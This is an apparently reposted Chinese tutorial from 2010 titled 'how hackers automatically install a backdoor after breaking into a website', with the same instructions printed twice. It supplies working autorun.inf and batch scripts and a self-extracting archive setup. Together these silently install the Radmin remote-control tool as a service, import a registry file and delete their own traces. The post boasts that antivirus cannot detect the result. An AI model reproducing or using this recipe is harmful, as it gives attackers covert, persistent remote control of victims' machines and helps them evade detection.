黑客入侵网站后如何全自动安装后门
2010-04-19 14:37
113 查看
入侵网站后全自动安装后门条件,只要你有上传的权限。
一共三个文件
1.autorun.inf 2.shell.bat 3.hao.exe(自解压文件)
思路:全部放在C盘下。当肉鸡主人双击C盘时自动运行第一文件。
第一文件带动运行第二文件。同时第二运行第三
运行完可正常进入C盘。不会让人发觉。并且里面所带的批处理,会在最后把所有文件删除。此时,后门却已经装上去了
《此法针对没有权限运行安全的入侵活动》
制作:
[autorun]
open=shell.bat
这个是autorun.inf
@echo off
hao.exe
c:\windows\explorer c:\
del autorun.inf
del rad.exe
del shell.bat
这个是shell.bat
hao.exe 里面包含admdll.dll raddrv.dll admin.reg pchealthy.exe r.bat五个文件《关键所在》
r.bat--》批处理做法
@echo off
@pchealthy.exe /install /silence
@regedit /s admin.reg
@net start r_server
@del admin.reg
@del r.bat
其他四个就是Radmin的文件。这个大家都会,复制过来就行
OK,我们再来看自解压的处理,在解压路径里我们用
%systemroot%\system32,就是解压到系统目录里
并且 “解压后运行”填上我们的r.bat文件!
因为这里的文件比较多,比较隐蔽
解压模式我们选 “全部隐藏”,和 “覆盖所有文件”!
好了,一个不被杀毒软件所能查杀的好后门程序就成功制作出来了!
大家不要放在文件夹里压缩哦,要直接选上admdll.dll raddrv.dll admin.reg pchealthy.exe r.bat五个文件压缩
一共三个文件
1.autorun.inf 2.shell.bat 3.hao.exe(自解压文件)
思路:全部放在C盘下。当肉鸡主人双击C盘时自动运行第一文件。
第一文件带动运行第二文件。同时第二运行第三
运行完可正常进入C盘。不会让人发觉。并且里面所带的批处理,会在最后把所有文件删除。此时,后门却已经装上去了
《此法针对没有权限运行安全的入侵活动》
制作:
[autorun]
open=shell.bat
这个是autorun.inf
@echo off
hao.exe
c:\windows\explorer c:\
del autorun.inf
del rad.exe
del shell.bat
这个是shell.bat
hao.exe 里面包含admdll.dll raddrv.dll admin.reg pchealthy.exe r.bat五个文件《关键所在》
r.bat--》批处理做法
@echo off
@pchealthy.exe /install /silence
@regedit /s admin.reg
@net start r_server
@del admin.reg
@del r.bat
其他四个就是Radmin的文件。这个大家都会,复制过来就行
OK,我们再来看自解压的处理,在解压路径里我们用
%systemroot%\system32,就是解压到系统目录里
并且 “解压后运行”填上我们的r.bat文件!
因为这里的文件比较多,比较隐蔽
解压模式我们选 “全部隐藏”,和 “覆盖所有文件”!
好了,一个不被杀毒软件所能查杀的好后门程序就成功制作出来了!
大家不要放在文件夹里压缩哦,要直接选上admdll.dll raddrv.dll admin.reg pchealthy.exe r.bat五个文件压缩
相关文章推荐
- 黑客入侵网站后如何全自动安装后门
- 黑客是如何利用Windows2003+IIS6.0的文件名解析漏洞入侵网站挂马的?
- 黑客如何利用文件包含漏洞进行网站入侵
- 黑客是如何入侵你的网站的
- 黑客如何利用文件包含漏洞进行网站入侵
- 如何无交互的自动安装Solaris软件包
- 入侵江民网站黑客被劝投案自首
- 黑客之google入侵网站常用方式 2
- 新人零起步接触黑客之网站入侵知识
- 网站开发时,如何禁用Chrome谷歌浏览器自动保存密码的提示?
- 如何自动安装CA证书
- 像电影里黑客高手一样敲代码攻击入侵网站(模拟)
- sharepoint 如何制作 上传 安装 “网站模板” 和 “网站集模板”(转)
- 如何关闭端口防止病毒与黑客入侵
- 网站漏洞解析及黑客入侵防范方法
- Android如何将第三方预装的AP安装在data/app下面,用户可以选择卸载,但是在用户恢复出厂设置后,会再次自动安装
- 看黑客如何在入侵后清理日志
- 如何在google官方网站下载正式版(Stable)离线安装包?
- 如何自动获取android 安装APK成功后的状态